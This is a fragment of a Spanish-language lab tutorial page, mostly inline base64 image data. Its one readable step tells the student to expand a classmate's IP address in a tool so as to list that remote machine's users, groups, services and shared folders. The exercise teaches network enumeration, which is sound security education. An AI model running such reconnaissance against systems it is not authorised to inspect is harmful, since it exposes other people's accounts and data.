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" width="640" /> </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: left;">
6. Expanda el árbol perteneciente a la dirección IP de su compañero. En este punto usted será capaz de listar usuarios, grupos, servicios y carpetas compartidas. Algunas de estas características dependerán de los permisos que usted tenga sobre la máquina remota.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: center;">
<img alt="" height="356" src="data:image/png;base64,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